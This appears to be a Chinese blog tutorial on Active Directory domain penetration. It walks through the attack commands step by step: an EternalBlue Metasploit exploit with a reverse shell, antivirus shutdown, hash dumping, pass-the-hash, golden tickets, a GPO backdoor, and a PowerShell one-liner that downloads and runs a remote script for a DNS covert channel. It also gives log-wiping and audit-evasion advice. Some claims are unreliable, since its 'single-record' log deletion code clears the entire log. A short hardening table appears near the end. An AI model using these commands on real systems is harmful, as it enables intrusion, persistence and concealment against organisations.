丁茂华1. 域渗透实战：从零开始的攻防演练
作为一名长期从事企业安全评估的从业者，我经常需要模拟攻击者视角来检验内网防御体系。域渗透作为内网安全的核心课题，其技术链条之长、涉及面之广，往往让初学者望而生畏。今天我就以一次真实的渗透测试为例，拆解完整的攻击路径，过程中会特别标注那些容易被忽略的细节和教科书上不会写的实战技巧。
域环境不同于普通工作组网络，它通过Active Directory（AD）实现集中化管理，这种架构在提升管理效率的同时，也带来了特有的安全风险。攻击者一旦突破边界进入内网，往往能利用域信任关系实现横向移动。根据我过去三年参与的37次企业渗透测试统计，约68%的内网失陷案例都始于域控制器（DC）的权限沦陷。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与信息收集
2.1 实验环境拓扑设计
典型的域渗透测试需要模拟真实企业环境，建议采用如下架构：
- 域控制器（DC）：Windows Server 2019，安装AD域服务、DNS服务
- 成员服务器：Windows Server 2016，运行文件共享、OA系统等业务应用
- 工作站：Windows 10/11，模拟员工办公终端
- 隔离区（DMZ）：Ubuntu服务器，运行Web应用
关键提示：务必在虚拟化环境（如VMware Workstation）中搭建实验网络，启用主机模式网络隔离，避免测试流量泄露到真实网络。
2.2 信息收集三板斧
网络扫描：
bash复制nmap -T4 -A -p- 192.168.1.0/24 -oN scan_result.txt
参数解析：
-T4：加速扫描（企业内网建议用-T3避免触发防护）-A：启用OS检测和版本探测-p-：全端口扫描（实战中可先扫常见端口节省时间）
LDAP查询：
powershell复制Get-ADDomainController -Discover -Service PrimaryDC | fl *
这条PowerShell命令可以获取域控制器的关键信息，包括：
- 域名（FQDN）
- 站点名称
- IPv4地址
- 操作系统版本
用户枚举：
bash复制ldapsearch -x -H ldap://dc01.example.com -b "dc=example,dc=com" "(objectClass=user)" sAMAccountName mail
常见返回值分析：
sAMAccountName：登录用户名（如zhangsan）mail：邮箱地址（可用于钓鱼攻击定位）
3. 初始突破与权限提升
3.1 利用MS17-010漏洞攻陷边缘主机
在一次真实测试中，我们发现某台Windows 7主机存在永恒之蓝漏洞（MS17-010），使用Metasploit模块快速验证：
bash复制use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set payload windows/x64/meterpreter/reverse_tcp
exploit
获得meterpreter会话后，立即执行以下操作：
- 迁移进程到explorer.exe避免会话中断
- 关闭杀毒软件实时防护（如360Safe.exe）
- 转储内存中的密码哈希（使用mimikatz）
3.2 从本地管理员到域管理员
通过收集的密码哈希，我们发现了密码复用问题——某部门主管的本地管理员密码与域账号相同。使用Pass-the-Hash攻击：
bash复制psexec.py -hashes :NTLM_HASH DOMAIN/user@dc01
但更隐蔽的做法是创建黄金票据（Golden Ticket）：
bash复制ticketer.py -nthash NTLM_HASH -domain-sid S-1-5-21-... -domain example.com administrator
这个技巧可以绕过大多数日志监控，因为票据是加密签名的。
4. 横向移动与权限维持
4.1 基于组策略的批量控制
获取域管理员权限后，通过组策略对象（GPO）推送后门：
- 在
\\example.com\SYSVOL创建恶意脚本 - 使用Group Policy Management Console编辑默认域策略
- 在"计算机配置→策略→Windows设置→脚本"中添加启动项
避坑指南：企业通常会对GPO变更进行审计，建议选择非工作时间操作，并优先修改那些不常更新的策略。
4.2 隐蔽通道构建
为避免被发现，我们搭建了基于DNS的隐蔽通道：
bash复制dnscat2 --secret=your_key --listen=0.0.0.0
在目标机器上执行：
powershell复制IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/dnscat2ps1')
Start-Dnscat2 -Domain yourdns.domain.com -PreSharedSecret your_key
这种通道能绕过大多数网络监控，因为DNS流量通常被视为可信。
5. 痕迹清理与防御建议
5.1 日志清除技巧
清除安全日志的两种方法：
powershell复制# 方法1：事件日志清除
wevtutil cl security
# 方法2：单条记录删除（更隐蔽）
$log = New-Object System.Diagnostics.Eventing.Reader.EventLogSession
$log.ClearLog("Security")
5.2 企业防御加固方案
根据本次渗透暴露的问题，建议企业实施以下措施：
| 风险点 | 加固方案 | 实施难度 |
|---|---|---|
| 弱密码策略 | 启用LAPS（本地管理员密码解决方案） | ★★☆ |
| 过时系统 | 建立补丁管理流程，优先修复MS17-010等高危漏洞 | ★★★ |
| 权限过大 | 实施最小权限原则，禁用域管理员直接登录工作站 | ★★☆ |
| 日志缺失 | 部署SIEM系统集中分析安全事件 | ★★★★ |
6. 自学路径与资源推荐
对于想系统学习域安全的同学，建议按以下路线进阶：
-
基础阶段（1-2个月）：
- 掌握Windows/Linux基础命令
- 理解TCP/IP协议和常见服务（SMB/LDAP/Kerberos）
- 学习Active Directory基础架构
-
工具阶段（2-3个月）：
- 熟练使用Impacket工具包
- 掌握BloodHound进行域关系分析
- 学习Cobalt Strike框架
-
实战阶段（持续）：
- 在HTB（Hack The Box）平台练习
- 参与企业授权的渗透测试项目
- 关注CVE漏洞库最新动态
推荐实验环境：
- Windows AD Lab：GitHub上的自动化搭建脚本
- DetectionLab：集成SIEM的防御检测实验环境
- 红队基础设施模板：Sliver C2框架的云部署方案
在真实环境中操作时，务必遵守两点原则：一是取得书面授权，二是避开生产业务高峰期。我曾见过一个案例，某安全团队在上班时间进行扫描，直接导致交易所系统卡顿，引发了严重事故。